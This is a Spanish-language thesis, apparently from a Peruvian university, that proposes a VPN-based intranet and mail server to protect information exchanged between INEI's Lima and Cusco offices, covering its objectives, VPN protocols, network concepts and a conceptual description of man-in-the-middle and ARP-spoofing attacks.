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RESUMEN

El presente trabajo de investigacion se basa en emplear la tecnologia de red “Virtual
Private Network” (VPN), con la finalidad de mejorar la confidencialidad del intercambio
de informacion entre las sedes Lima - Cusco del Instituto Nacional de Estadistica e
Informética (INEI), ya que en la actualidad los encargados de las oficinas técnicas de
informatica sefalaron que un porcentaje del personal administrativo en comun de las
sedes Lima — Cusco del INEI presenta inconvenientes con sus cuentas de correo

(cuentas hackeadas), debido a los bajos niveles de seguridad.

Asimismo, actualmente el personal administrativo quienes vienen laborando en
ambas sedes se comunican a través de servicios de correos gratuitos (Hotmail), es decir

utilizan correos no institucionales con sus cuentas personales.

En vista de los problemas mencionados, se ha visto por conveniente proponer la
implementacion de una intranet via VPN para mejorar la confidencialidad del
intercambio de informacion tomando como caso un servidor de correos entre las sedes
Lima y Cusco del INEI, el cual permitirhd que dicha institucion no solo maneje un solo
dominio de correo “inei.com” para el envio y recepcion de mensajes de texto
relacionados Unicamente a temas laborales entre el personal administrativo de ambas
sedes, sino que a su vez ayudara a mejorar la confidencialidad en el intercambio de

dicha informacioén.

Para llevar a cabo las pruebas de seguridad para verificar que tan eficiente es la VPN
para el resguardo de la confidencialidad de la informacion, se realizaron los ataques man
in the middle con una conexion a la intranet via VPN y otra prueba sin conexién a la

misma.
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ABSTRACT

This research is based on using network technology "Virtual Private Network™" (VPN),
with the aim of improving the confidentiality of information exchange between the Lima
headquarters - Cusco National Institute of Statistics and Informatics (INEI) because now
the computer area managers noted that a percentage of administrative staff in common
of the Lima headquarters - Cusco INEI presents problems with their email accounts

(hacked accounts), due to low levels of security.

Also, currently the administrative staff who are working in both sites communicate
through free email services (Hotmail), use emails non-institutional with your personal

accounts.

In view of the above problems, it has been deemed appropriate to propose the
implementation of an intranet via VPN to improve confidentiality of information exchange
taking as case, a mail server between Lima and Cusco INEI headquarters, which will
allow the institution not only handle a single mail domain "inei.com” for sending and
receiving text messages related only to labor issues between the administrative staff of
both offices, but which in turn will help improve confidence in the exchange of such

information.

To carry out safety tests to verify how efficient the VPN to guard the confidentiality of
information , the man in the middle attacks were performed with a connection to the

intranet via VPN and another test without connecting to it .
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INTRODUCCION

El presente trabajo de investigacion tiene como finalidad dar a conocer la tecnologia
Virtual Private Network (Redes Privadas Virtuales), tecnologia que ya es muy comudn
dentro de las telecomunicaciones, existiendo empresas a nivel mundial que se dedican
exclusivamente a la prestacion de servicios de esta tecnologia, ésta tecnologia permitira
conectar redes distantes geograficamente de manera segura y a bajos costos, utilizando

redes publicas como medio de enlace o transmision.

Esta tecnologia sera elevada como propuesta para su implementacion en el Instituto
Nacional de Estadistica e Informatica (INEI), el cual es el encargado de manejar
informacion confidencial sobre temas relacionados a proyectos que se dan a nivel
nacional, tomando como muestra las areas administrativas en comun de las sedes Lima-
Cusco de INEI (Jefatura, Oficina técnica de administracion, Secretaria general, Oficina
técnica de informatica, Escuela nacional de estadistica e informética, Direccion técnica
de indicadores economicos, Direccién nacional de censos y encuestas y la Oficina
técnica de estadisticas departamentales).

Se vio por conveniente optar por esta tecnologia tomando como caso un servidor de
correos, debido a que en la actualidad el personal administrativo de las areas en comudn
entre las sedes Lima — Cusco del INEI utilizan como medio de comunicacion servicios
gratuitos de correos electrénicos (Hotmail) con sus cuentas personales y un porcentaje
de dichos trabajadores presentan inconvenientes con sus cuentas de correo, debido a
los bajos niveles de seguridad, es asi que el enfoque principal del presente trabajo de
investigacion es llevar a cabo la propuesta de implementacion de una intranet via VPN
tomando como caso un servidor de correos, para interconectar las areas administrativas
de las sedes Lima — Cusco del INEI, con la finalidad de mejorar la confidencialidad en
la transmisién de informacion entre ambas sedes. Cabe sefialar que Unicamente se
consideraron las sedes Lima — Cusco como punto de estudio debido a la facilidad de

extraccion de la informacion.
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El presente informe est4 comprendido por VII capitulos, donde:

Capitulo I: Explica la descripcion de la situacion actual en las que se encuentran las
sedes Lima - Cusco del INEI en cuanto al intercambio de informacion, formulacion del
problema, objetivos, hipétesis, justificacion, las variables identificadas, metodologia y

finalmente el cuadro de matriz de consistencia.

Capitulo 1I: Contiene los antecedentes de la investigacion del presente trabajo de
investigacion realizado y el marco tedrico el cual estd comprendido por conceptos de

los términos utilizados.

Capitulo IlI: Describe el tipo y el disefio de la investigacion realizada, poblacion, muestra
del INEI con el que se trabajo y finalmente los instrumentos utilizados para la recoleccion

de la informacion necesaria.
Capitulo IV: Los requerimientos, analisis y disefio de la intranet propuesta.

Capitulo V: Comprende todo el proceso de configuracion realizado de la intranet via

VPN y el servidor de correos.

Capitulo VI: Pruebas con y sin conexion a la intranet via VPN con ataques man in the
middle.

Capitulo VII: Costos.

e Costos de investigacion del proyecto.

e Costos de implementacion del proyecto.
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CAPITULO |

ASPECTOS GENERALES

1.1DESCRIPCION DE LA SITUACION ACTUAL

El Instituto Nacional de Estadistica e Informatica — INEI, es un organismo técnico
especializado, con personeria juridica de derecho publico interno, con autonomia
técnica y de gestion, dependiente del Presidente del Consejo de Ministros. A su vez
es considerada como un organismo central, rector del Sistema Estadistico Nacional
y responsable de normar, planear, dirigir, coordinar y de supervisar las actividades
estadisticas oficiales del pais.

Esta institucion tiene como mision producir y difundir informaciéon estadistica
oficial que el pais necesitan con calidad, oportunidad y cobertura requerida con el
propoésito de contribuir al disefio, monitoreo y evaluacion de politicas publicas y al
proceso de toma de decisiones de los agentes socioecondmicos, el sector publico y
la comunidad en general

En cuanto a su vision, ser un organismo lider a nivel nacional e internacional, que
utiliza los mas altos estandares metodolégicos y tecnoldgicos para la produccion y
difusion de estadisticas oficiales que contribuyan eficazmente en el disefio de
politicas publicas para el desarrollo del pais.

La sede Lima del INEI, quien es la encargada de enviar informacion confidencial
a la sede Cusco y demés sedes ubicadas en cada departamento del Perd, con la
finalidad de llevar a cabo el acuerdo de temas tales como: Acuerdos de proyectos a
nivel nacional a realizar, envio del monto econémico por cobrar, agenda a tratar en
reunion, entre otros, en los ultimos meses un porcentaje de los trabajadores de las

areas administrativas en comun entre dicha Sede y la Sede Cusco del INEI quienes
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utilizan sus cuentas personales de correos no institucionales (Hotmail) para el envio
y recepcion de informacion confidencial netas de la institucion, accediendo a un
servicio publico como es el internet, presentan inconvenientes con sus cuentas de
correo (cuentas hackeadas) debido a los bajos niveles de seguridad. Este problema
se pudo identificar gracias a las encuestas realizadas al personal administrativo de
ambas sedes los cuales pueden ser corroborados en el capitulo 11l — 3.5 Recoleccion

y Andlisis de Datos segun el cuestionario elaborado y adjuntado en el ANEXO 4.
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1.2 FORMULACION DEL PROBLEMA

¢, Como se puede mejorar la confidencialidad del intercambio de informacion entre

las sedes Lima y Cusco del INEI?
1.2.1 PROBLEMAS ESPECIFICOS

e ;Cbomo simular el intercambio seguro de la informacion?
e ;CbOmo probar la funcionalidad de la intranet propuesta?

e ;CbOmo se podria asegurar la integridad de la informacion enviada del origen

al destino?
e ;CbOmo se podria verificar la disponibilidad de la informacion?
e ;Cbomo determinar el costo de investigacion del proyecto?

e ;Cbomo determinar el costo de implementacion del proyecto?
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1.3 OBJETIVOS

1.3.1 OBJETIVO GENERAL

Elaborar la propuesta de implementacion de una intranet via VPN, para mejorar
la confidencialidad del intercambio de informacion entre las sedes Lima y Cusco del

INEI.

1.3.2 OBJETIVOS ESPECIFICOS

Simular el intercambio de informacién por medio del servidor de correos entre

cuentas de clientes VPN.

e Configurar un servidor de correos para la prueba de funcionalidad de la

intranet.

e Asegurar la integridad de la informacién enviada al receptor.

e Verificar la disponibilidad de la informacién por medio del servidor de correos.

e Determinar los costos de investigacion del proyecto.

Determinar los costos de implementacion del proyecto.

1.4 HIPOTESIS

Con la propuesta de implementacién de una intranet via VPN se mejorara la
confidencialidad del intercambio de informacion por medio de un servidor de correos

entre las sedes Lima y Cusco del INEI.
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1.5 JUSTIFICACION

El presente trabajo de investigacion tiene como finalidad la elaboracion de la
propuesta de implementacion de una intranet via VPN tomando como caso un
servidor de correos, los cuales se encargardn de interconectar las &reas
administrativas en comun sedes Lima - Cusco del INEI en una red corporativa
(privada) y de mejorar la confidencialidad del intercambio de informacion entre

dichas areas de ambas sedes.

1.6 VARIABLES
1.6.1 VARIABLE DEPENDIENTE

Confidencialidad del Intercambio de Informacion.

1.6.2 VARIABLE INDEPENDIENTE

Implementacion de una Intranet via VPN.

1.7 METODOLOGIA

El presente trabajo de investigacién es del tipo descriptiva, debido a que se
describira paso a paso todas las configuraciones realizadas (intranet via VPN y

servidor de correos).
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1.8 MATRIZ DE CONSISTENCIA

Cusco del INEI.

intranet propuesta?

disponibilidad de la informacién?
e iCoOmo determinar el
investigacion del proyecto?
e iCoOmo determinar el
implementacion del proyecto?

e iComo probar la funcionalidad de la

e iCOmo se podria asegurar
integridad de la informacién
enviada del origen al destino?

e iCémo se podria verificar

costo de

costo de

PROBLEMAS ESPECIFICOS OBJETIVOS ESPECIFICOS
e iCémo simular el intercambio |e Simular el intercambio de
seguro de la informacion? informacién  por medio del

servidor de correos entre cuentas
de clientes VPN.

e Configurar un servidor de correos
para la prueba de funcionalidad de
la intranet.

e Asegurar la integridad de |Ia
informacién enviada al receptor.

e Verificar la disponibilidad de la

informacién  por medio del
servidor de correos.

e Determinar los cotos de
investigacion del proyecto.

e Determinar los costos de

implementacion del proyecto.

VARIABLE INDEPENDIENTE

Implementacion de una

Intranet via VPN

FORMULACION DEL PROBLEMA OBJETIVOS HIPOTESIS VARIABLES METODOLOGIA
iComo se puede mejorar OBJETIVO GENERAL Con la propuesta de VARIABLE TIPOS DE INVESTIGACION
.conﬂden.c[ahdad del mtercambp de !mplemen’taaon de. Lfna DEPENDIENTE 1 INVESTIGACION
informacion entre las sedes Lima vy | Elaborar la propuesta de | intranet via VPN se mejorara la
. - : . ! o DESCRIPTIVA

Cusco del INEI? implementacion de una intranet via | confidencialidad del . .
VPN, para mejorar la confidencialidad | intercambio de informacion Confidencialidad del Se recolectard toda la
del intercambio de informacion entre | por medio de un servidor de | |ntercambio de Informacion | informacién  necesaria para
las sedes Limay Cusco del INEI. correos entre las sedes Lima y poder llevar a cabo Ia

propuesta de implementacion
de una intranet via VPN para
mejorar la confidencialidad del
intercambio de informacion
entre las sedes Lima — Cusco
del INEL.

2. POBLACION Y MUESTRA

¢ POBLACION

Todas las dreas administrativas
de las sedes Lima — Cusco del
INEI.

e MUESTRA

Areas administrativas en

comun entre las sedes Lima —

Cusco del INEI.

3. METODOS, TECNICAS E
INSTRUMENTOS

Observacién y cuestionario.
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Tabla 1. Matriz de Consistencia
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CAPITULO Il

MARCO TEORICO

2.1 ANTECEDENTES DE LA INVESTIGACION

“Protocolos de sequridad para redes VPN”
LIMARI RAMIREZ, Victor Humberto (2010)

Tesis de Grado

Universidad Austral de Chile

e VPN, es una robusta combinacion entre seguridad e interoperabilidad, que cada
vez mas se ofrece como solucion a las organizaciones en crecimiento y expansion.
Ya que estas otorgan altos niveles de seguridad dentro de un medio de
transmision publico, y permiten reemplazar enlaces dedicados que requieren
grandes inversiones para su establecimiento. Por lo tanto dado sus ventajas en
funcién a cada nivel de seguridad que requiera una organizacion es recomendable
establecer este tipo de tecnologia.

e Hay diversos esquemas de implementacién de VPN, los cuales varian segun
tamafo de la red corporativa y seguridad que requiera para sus servidores. Estos
pueden estar basados en software o hardware, siendo estos Ultimos los mas
efectivos al momento de efectuar procesos de autentificacion y encriptacion,
debido a que no adhieren sobrepeso a los servidores dedicados a los
enrutamientos dentro de la propia red local, agilizando el trabajo dentro de esta.
Ademas que manejar pardmetros bastante potentes de seguridad que seria poco
probable implementar como software.

e Por otro lado el hecho de existir un ente regulador, que todo el tiempo este
procesando claves y encriptaciones a los mensajes, provoca lentitud en los flujos
bidireccionales. Pero con el avance de la tecnologia nuevos y robustos
procesadores dedicados a los hardwares con bancos de memoria muy potentes
agilizaran estos procesos, dando mas dinamismo a las conexiones de este tipo.

e Por ultimo, es conveniente a nivel empresarial invertir en una buena combinacion
VPN entre hardware y software para optar por la tranquilidad del sistema, y no
sufrir ataques o acceso indeseados que pueden ocasionar efectos lamentables a

todo el conjunto de recursos.
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“Metodologia para la implementacion de redes privadas virtuales con

internet como red de enlace”
ORTEGA BUSTAMANTE, COSME MACARTHUR (2014)
Tesis de Grado

Universidad Técnica del Norte

e Las VPN representan una gran solucion para las empresas en cuanto a seguridad,
confidencialidad e integridad de los datos y practicamente se ha vuelto un tema
importante en las organizaciones, debido a que reduce significativamente el costo
de la transferencia de datos de un lugar a otro.

e Las VPN permiten una comunicacion entre las oficinas centrales y las oficinas
remotas, muy distantes geograficamente a través de internet de una forma segura.

e La VPN permiten brindar servicios a los clientes de la empresa en cualquier lugar
del mundo, con lo que los clientes obtendran la informacién que el necesita al
instante, lo que generara una mayor productividad de la empresa.

e Laimplementacion de una VPN, necesita de personal calificado para el analisis de
requerimientos de la empresa y ver si es conveniente la implementacion, para la
misma. Este personal debe recibir la colaboraciéon de cada uno de los
departamentos de la empresa para que la implementacién de la VPN sea Optima.

e Esta tecnologia dispone de varias arquitecturas y topologias facilmente
adaptables a los diferentes tipos de empresas que puedan existir, ya que es una
tecnologia muy flexible y facilmente acoplable al disefio de red de su empresa.

e La velocidad de comunicacion a través de una VPN, se ve afectada
considerablemente por la encriptacion y encapsulacién que los datos transferidos
necesitan, para navegar seguros por la red publica.
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2.2 ASPECTOS TEORICOS PERTINENTES
2.2.1 VIRTUAL PRIVATE NETWORK, RED PRIVADA VIRTUAL (VPN)

Una red privada virtual - VPN (Virtual Private Network), es una tecnologia de
red que permite a sus usuarios extender su red local sobre una red publica, con
el fin de evitar un costoso sistema de arrendamiento o compra de lineas, que sera

utilizada por una sola organizacién.*

El objetivo de una VPN es ofrecer a la organizacion las mismas capacidades

de seguridad, pero a un menor costo, esta tecnologia también:

e Nos da la posibilidad de interconectar dos o mas sucursales de la empresa

utilizando como medio el Internet.

e Permite a los trabajadores de una determinada empresa, la conexion desde

sus casas al centro de computo.

e Hace posible que los usuarios puedan tener acceso a su equipo del hogar

desde algun lugar remoto.
2.2.2 COMPONENTES DE LAS VPN?

Una conexiéon de red privada virtual (VPN) consta de los siguientes

componentes:

e SERVIDOR VPN
Equipo que acepta las conexiones VPN de clientes VPN.
e CLIENTE VPN
Equipo que inicia una conexion VPN a un servidor VPN. Un cliente VPN
puede ser tanto un equipo individual como un enrutador.
e TUNEL

Viene a ser la parte de la conexién en la que se encapsulan los datos.

1 Dennis, F. (2012). Virtual Private Networks: Making the right connection, 1ra Edicion. Morgan Kaufmann
Publishers.

2 (Microsoft, Microsoft, 2015)
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e CONEXION VPN

Es la parte de la conexidn en la que se cifran los datos. En las conexiones
VPN seguras, los datos se cifran y encapsulan en la misma parte de la
conexion.

e PROTOCOLOS DE TUNEL

Son utilizados para administrar tuneles y encapsular datos privados. Los
datos que se envian por el tinel también deben estar cifrados para construir
una conexion VPN.

e DATOS EN TUNEL

Son los datos que normalmente se envian a través de un vinculo punto a
punto privado.
e REDES PRIVADAS DE TRANSITO

Es la red compartida o privada que atraviesan los datos encapsulados. En
este caso el conjunto de redes publicas o privadas de transito puede ser

Internet o una Intranet Privada Basada en IP.

Tunnel
PR \Q YVFPMN connectiaon
server
Transit
It t |
Internetwaor JEN
client

Img 1. Componentes de una red Privada, Fuente: (Microsoft, 2015)
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2.2.3 REQUISITOS QUE GARANTIZAN QUE UNA VPN SEA SEGURA3
Los requisitos que garantizaran que una VPN sea segura son:
e DISPONIBILIDAD

Este requisito se aplica tanto al tiempo de actualizacion como al tiempo de

acceso.

e CONTROL

El control debe ser implementado por el supervisor o administrador de la Red
Privada Virtual, sea este interno o externo dependiendo de como se realice la

implementacion de VPN.
e COMPATIBILIDAD

Debido que al utilizar las tecnologias VPN e internet, se basan en protocolos
IP, la arquitectura interna del protocolo de red de una determinada compaiiia
debe ser compatible con el IP originario de internet.

e SEGURIDAD

Hablar de seguridad y de red privada virtual, hasta cierto punto se podria
decir que son sindnimos. La seguridad en una VPN abarca todo, desde el
proceso de cifrado que se implementa hasta los servicios de autenticacion de

usuarios.

e CONFIABILIDAD

La confiabilidad es uno de los requisitos importantes que debe poseer una
Red Privada Virtual, en algunos casos este requisito se ve afectado en las
VPN’s que se sujetan de la confiabilidad que se tiene por parte del ISP, ya que
si el servicio del ISP se interrumpe, la conexién no se establecera, por ende no
se podra hacer nada hasta que el ISP nuevamente brinde su servicio a los

clientes.

3 (Copolinformatica, 2015)
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e AUTENTICACION DE DATOS Y USUARIOS

DATOS
Reafirma que el mensaje ha sido enviado completamente y que no ha sido
alterado de ninguna forma.
USUARIOS

Es el proceso que permite que el usuario acceda a la red.

La autenticacion de datos y de usuarios es el proceso en el que se controla que
sblo los usuarios admitidos tengan acceso, este requisito es sumamente
importante dentro de cualquier configuracion de Red privada Virtual, ya que
afirma que los datos han sido entregados a su destinatario sin ningun tipo de
alteraciones.

e SOBRECARGA DE TRAFICO

La sobrecarga de trafico es un problema de cualquier tipo de tecnologia de
redes, y por ende también es un problema inevitable, especialmente si tenemos

una red privada virtual a través de un ISP.
2.2.4 PROTOCOLOS DE TUNEL DE LAS VPN
e POINT TO POINT TUNNELING PROTOCOL, PROTOCOLO PUNTO A
PUNTO DE TUNELES (PPTP)

PPTP permite que el trafico multiprotocolo se cifre y se encapsule en un
encabezado IP para que de éste modo se envie a través de una red IP publica,
como Internet. PPTP puede utilizarse para el acceso remoto y las conexiones
VPN entre sitios. Cuando se usa Internet como la red publica de una VPN, el
servidor PPTP es un servidor VPN habilitado para PPTP con una interfaz en
Internet y una segunda interfaz en la intranet.* El protocolo de tinel de punto a
punto (PPTP) utiliza una conexién de TCP (puerto 1723) para el mantenimiento

del tunel.

4 (Microsoft, Microsoft, 2015)(10 de Octubre del 2015). Obtenido de Microsoft: (04 de febrero de
2015). Obtenido de Microsoft: https://msdn.microsoft.com/es-
es/library/cc786563%28v=ws.10%29.aspx
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PPTP encapsula las tramas PPP en datagramas IP para su transmision a

través de la red. PPTP usa una conexion TCP para la administracion del tanel.

En cuanto a la seguridad de la VPN, este protocolo Unicamente ofrece una

encriptacion basica.®

En la velocidad de VPN, este protocolo es rapido debido a la encriptacion

mas baja.®
e LAYER 2 TUNNELING PROTOCOL (L2TP)

Es una extension de la PPTP, utilizado por los proveedores de servicios
de Internet para proporcionar servicios VPN en internet, permite cifrar el
trafico multiprotocolo y enviarlo a través de cualquier medio compatible con

la entrega de datagramas punto a punto, como IP. Este protocolo ofrece do

Este protocolo facilita el enrutamiento de paquetes PPP a través de una
red de tal manera que sea lo mas transparente posible a los usuarios de

ambos extremos del tunel y para las aplicaciones que éstos corran.

En cuanto a la seguridad de la VPN, L2TP ofrece una maxima encriptacion

(comprueba la integridad de los datos y encapsula los datos dos veces).’

En la velocidad de VPN, este protocolo necesita mas proceso de la CPU

para encapsular los datos dos veces.?

2.2.5 TIPOS DE VPN
e HYBRID VPN
Servidores VPN hibridos son capaces de aceptar conexiones de varios
tipos de clientes de VPN, asi mismo los VPN hibridos ofrecen una mayor
flexibilidad tanto en cliente y en el servidor.
e ACCESO REMOTO
Es considerado uno de los modelos mas usados en la actualidad, donde
usuarios, proveedores pueden tener acceso a las redes privadas de las

oficinas, comercios, casas, hoteles, entre otros utilizando la infraestructura

5 (VyprVPN, 2015)
5 (VyprVPN, 2015)
7 (VyprVPN, 2015)
8 (VyprVPN, 2015)
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de Internet para acceder a su red. Desde el momento en que son
identificados y autenticados poseen acceso parecido al que tienen dentro
de la red de la empresa.

(¢
S s

USUARIO MOVIL CONEXION VPN

OFICINA REMOTA E R
CONEXION MODEM, ISDN, mrmn )
MODEM DE CABLE, ADSL
OFICINAS CENTRALES

Img 2. Arquitectura de Acceso Remoto, Fuente (Microsoft, 2015)
e PUNTO A PUNTO

INTRANET

Una red privada virtual interna, es una implementacién que no tiene un uso
frecuente en el entorno de las redes. Este tipo de implementacion se crea en
una LAN, siempre que se considere necesario transferir informacion con
mucha privacidad entre departamentos de una empresa.®

A su vez una intranet también es considerada como una red corporativa ya

gue permite compartir recursos entre sus miembros en forma segura.

= E CONEXION VPN {

Hit 5 TUNEL B

) P, 444 R
rd ™ e HEE

,i~ < \_INTERNET,. g ﬁommmmmm
N % @ - @&

CONEXION PERMANENTE CONEXION DEDICADA CON UN IsP
O TELEFONICA CON UN IsP

Img 3. Arquitectura Punto a Punto — Intranet Fuente (Microsoft, 2015)

9 Stallings, W. (2012). Data and Computer Networks, 8va Edicion. Pearson Prentice Hall.
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EXTRANET

Este tipo de implementacion esta dada por la creacion de una conexion entre
las oficinas centrales corporativas y las oficinas remotas que se encuentran en el
exterior (proveedores). A comparacion con una Intranet tipica el acceso viene

desde el exterior a la red y no desde el interior.

5010, PROVEEDOR
]| O CUENTE
it l DE ORGANIZACION X CONEXION VPN
i p = TUNEL
1 ' ::i: . A k“-\
il 5 \ /) . OFICINAS
‘ \_ / (7 ORGANIZACION X
g T TG N B
Dy M
CONEXION PERMANENTE CONEXION DEDICADA CON UN ISP
0 TELEFONICA CON UN ISP

Img 4. Arquitectura Punto a Punto — Extranet Fuente (Microsoft, 2015)
2.2.6 DIFERENCIAS ENTRE INTERNET, EXTRANET E INTRANET
Entre las diferencias se tiene lo siguiente:
e [INTERNET
Esta dirigido a cualquier usuario en general que tenga una conexion con la finalidad
gue pueda extraer informacion de cualquier tipo de pagina web.
e EXTRANET
La extranet se dirige a usuarios tanto de la empresa como externos, pero en este
caso la informacién que se encuentra en la extranet es totalmente restringida ya que
tienen acceso a esta red aquellos usuarios que tengan permiso.
e INTRANET
En este caso sOlo podran conectarse a ella las personas quienes tengan sus
cuentas en un determinado servidor VPN, es decir que se encuentren conectadas a
la red privada de la empresa. Esta red permite el intercambio de informacion entre

los trabajadores de la empresa.
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TIPO DE ;
USUARIOS INFORMACION
ACCESO
INTERNET Publico General General
Grupo de Compartida dentro
EXTRANET Semi - Publico. empresas de un circulo de
relacionadas. empresas.
_ Miembros de una Propia de la
INTRANET Privado. S
empresa. institucion.

Tabla 2 Diferencias entre Internet, Extranet e Intranet

2.2.7 ARQUITECTURA DE LAS VPN?
e VPN BASADA EN HARDWARE

Las VPN basadas en Hardware poseen en el extremo del Servidor de la
organizacion un “router” o “enrutador” dedicado, el cual tiene la misién de
encriptar los datos, ademas de abrir y cerrar los tuneles VPN cuando funciona
como receptor. Estos proporcionan facilidades al usuario que administra la
implementacion VPN, ya que son seguros, rapidos, de facil instalacion y faciles

de usar.

Ofrecen un gran rendimiento ya que este es configurado para las

operaciones que requiera el servicio VPN.
e VPN BASADA EN FIREWALL

Estos sistemas aprovechan las ventajas del “Firewall”. La desventaja de un
sistema basado en Firewall afecta en mayor o menor medida al rendimiento del
sistema general, lo que puede ser un problema para la organizacion

dependiendo de las necesidades que se requieran. Algunos fabricantes de

10 (Alfonso, 2015)
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Firewalls ofrecen en sus productos procesadores dedicados a encriptacion para

minimizar el efecto del servicio VPN en el sistema.l!
e VPN BASADA EN SOFTWARE

Estos sistemas son ideales en el caso en que los dos extremos que deseen
comunicarse en forma remota y privada no pertenezcan a la misma
organizacion. Esta solucion permite mayor flexibilidad en cuanto a la decision
de que trafico enviar por el tinel seguro VPN, pudiendo decidir por protocolo y
direccion donde en un sistema basado en hardware solo se puede decidir por

direccion.

Existen desventajas para un sistema basado en software, las cuales
consisten en que estos sistemas son dificiles de administrar, ya que necesitan
estar familiarizados con el sistema operativo Cliente, la aplicacion VPN y los

mecanismos de seguridad adecuados.

e VPN PROPORCIONADA POR UN PROVEEDOR DE SERVICIOS DE RED
(ISP)

Este tipo de servicio es proporcionado por los Proveedores de Servicio de
Internet (ISP), el cual se encarga de mantener el tinel entre una organizacion
y el ISP. Corresponderia al ISP mantener la VPN funcionando adecuadamente,
y para esto el ISP se haria cargo de la instalacion y configuracion de la VPN.

El problema en este tipo de arquitectura es de quién se haria cargo de cada
responsabilidad, I6gicamente si el ISP instala su propio equipo, entonces la

responsabilidad seria del ISP.1?

e VPN DE SISTEMA OPERATIVO
Ofrecen servicios de VPN los sistemas operativos tales como: Windows
server de Microsoft, Linux en sus diversas distribuciones (Debian, Red Hat) que
requieren ser configurados adecuadamente para su funcionamiento. La ventaja

principal de esta solucion es que resulta ser economica, debido a que en un

11 Ramirez Limari, V. H. (2010). Protocolos De Seguridad Para Redes Vpn.

12 (Dennis, 2012)
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mismo sistema operativo se puede contar con varios servicios tales como:

administracion de usuarios active directory, DHCP, VPN.

2.2.8 ACTIVE DIRECTORY (AD)

Es un servicio de directorio de red que se encarga de almacenar informacion y
controlar, administrar el acceso a los recursos de la red. A su vez un servicio de
directorio es el conjunto de aplicaciones, quienes se encargan de gestionar los
objetos de red, tales como los recursos de red y los usuarios quienes permiten a

los administradores de red tener un control mas centralizado sobre la misma.

AD se basa en una estructura jerérquica de objetos, el cual se divide en tres

categorias usuarios, servicios y recursos.

La finalidad del AD, es proporcionar, organizar informacién, asi como la de

establecer politicas de seguridad.

2.2.9 SERVIDOR DE CORREOS
Un servidor de correo es una aplicacion que nos permite enviar mensajes (correos)
de unos usuarios a otros, con independencia de la red que dichos usuarios estén
utilizando.
2.2.10 PROTOCOLOS PARA UN SERVIDOR DE CORREOS
e SIMPLE MAIL TRANSFER PROTOCOL (SMTP)

Protocolo para la transferencia simple de correo electronico, es el protocolo

encargado de enviar y recibir mensajes.
e POST OFFICE PROTOCOL (POP)

Protocolo de Oficina de Correo, se utiliza para obtener los mensajes

guardados en el servidor y pasarselos al usuario.
e INTERNET MESSAGE ACCESS PROTOCOL (IMAP)

Protocolo de acceso a mensajes de internet, es un protocolo de aplicacién que

permite el acceso a mensajes almacenados en un servidor de Internet. Mediante
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IMAP se puede tener acceso al correo electronico desde cualquier equipo que

tenga una conexion a Internet.3

2.2.11 SERVICIOS DE ACCESO Y DIRECTIVAS DE REDES (NPAS)

Encargados de proporcionar tecnologias las cuales permiten implementar las
VPN’s, las mismas ayudan a definir y aplicar directivas de autenticacion para
acceso a redes, autorizacion y mantenimiento del cliente por medio de Servidor
de Directivas de redes (NPS).

2.2.12 DIFERENCIAS ENTRE DOMINIO, ARBOL Y BOSQUE
e DOMINIO
Zona definida de objetos de dominio, conformada por: usuarios, unidades
organizativas, controladores de dominio.
e ARBOL
Cuando un dominio raiz contiene “sub dominios”, a este conjunto de
subdominios se le conoce como arbol, cabe indicar que cada subdominio a su
vez contiene su propio control de dominio, el cual es el responsable de

autenticar y almacenar la informacion de la cuenta de usuario.
e BOSQUE
Es el conjunto de arboles de domino.
2.2.13 SISTEMA DE NOMBRES DE DOMINIO, DOMAIN NAME SYSTEM (DNS)

Sistema encargado de asignar nombres a equipos y servicios de red, los cuales

Se organiza en una jerarquia de dominios.

La asignacion de nombres DNS se utiliza en las redes TCP/IP, como Internet,
para localizar equipos y servicios con nombres descriptivos. Cuando un usuario
escriba un nombre DNS en una aplicacién, los servicios DNS podran traducir el

nombre a otra informacion asociada con el mismo, como una direccién IP.14

13 Stallings, W. (2012). Data and Computer Networks, 8va Edicion. Pearson Prentice Hall.

4 Microsoft, (2015). Obtenido de Microsoft: https://msdn.microsoft.com/es-

es/library/cc787920(v=ws.10).aspx
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2.2.14 ZONAS DE BUSQUEDA DNS?®5

Las zonas son las encargadas de traducir nombres DNS en direcciones IP,
ademas de almacenar la informacién de uno o varios dominios, existen dos tipos
de zonas de busqueda: las zonas de busqueda directa y las zonas de busqueda

inversa.
e ZONA DE BUSQUEDA DIRECTA

Encargada de traducir un nombre de dominio en una direccion IP, este tipo
de zona es la mas comun en ser utilizada.
e ZONA DE BUSQUEDA INVERSA
Este tipo de zona se encarga de traducir direcciones IP en nombres DNS.
Por ejemplo el registro con el formato “.in-addr.arpa”, es el nombre de la
busqueda de zona inversa.

La diferencia entre ambas zonas es que, si se crea una zona de busqueda
directa, esta debe ser respaldada creando una zona de busqueda inversa,
asimismo cabe sefialar, que sélo se crea la zona de busqueda inversa, debido a
que las zonas de busqueda directa las crea el Active Directory autométicamente.

2.2.15 1SO 27001, SISTEMA DE GESTION DE LA SEGURIDAD DE LA
INFORMACION (SGSI)i6

Para garantizar que la seguridad de la informacién sea gestionada correctamente,
se debe identificar inicialmente los aspectos relevantes adoptados para garantizar su
C-I-D:

e CONFIDENCIALIDAD
Garantizar que la informacion sea accesible Unicamente para quienes tengan
acceso autorizado.
e INTEGRIDAD
Salvaguardar la exactitud e integridad de la informacién y activos asociados.
e DISPONIBILIDAD
Garantizar que los usuarios autorizados tengan acceso a la informacion y

activos asociados cuando sea necesario.

15 (Mircrosoft, 2015)
16 (_.CNB, 2009)
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En base a estos tres aspectos, es como se debe de adoptar el uso de un
proceso sistematico, documentado y conocido por toda la organizacion, desde
un enfoque de riesgo empresarial. Este proceso es el que constituye un SGSI.1’

2.2.16 ATAQUES MAN IN THE MIDDLE
Un ataque “man in the midle“(hombre en el medio), es un tipo de amenaza en donde
el atacante tiene la habilidad de desviar o controlar las comunicaciones entre dos
partes (victima- servidor) 6 (victima - router).*®
Ademas de ello, éste tipo de ataque consiste en introducirse en la comunicacion
entre dos equipos para que todo el trafico pase por el atacante y poder asi des-
encriptar los datos, contrasefias, etc.'® Los componentes para llevar a cabo éste tipo

de ataque son los siguientes:
v’ Victima.
v’ Atacante.

v’ Router o servidor.
Para realizar éste tipo de ataque es necesario conocer los siguientes aspectos:

e MODO PROMISCUO
Capturar todo el trafico que circula por una red.?°

e TECNICA ARPSPOOF

ARP Spoofing o envenenamiento de tablas ARP, es una técnica de hacking

usada para infiltrarse en una red, con el objetivo de que un atacante pueda
husmear los paquetes de datos que pasan por la LAN (red de area local),

modificar el trafico, o incluso detenerlo.?!

Mediante este tipo de ataques, se puede obtener informacion sensible de una
victima que esté en la misma red que el atacante, como nombres de usuario,
contrasefias, cookies, mensajes de correo y mensajeria instantanea,

conversaciones VolP, etc.??

171S0 27001:2008
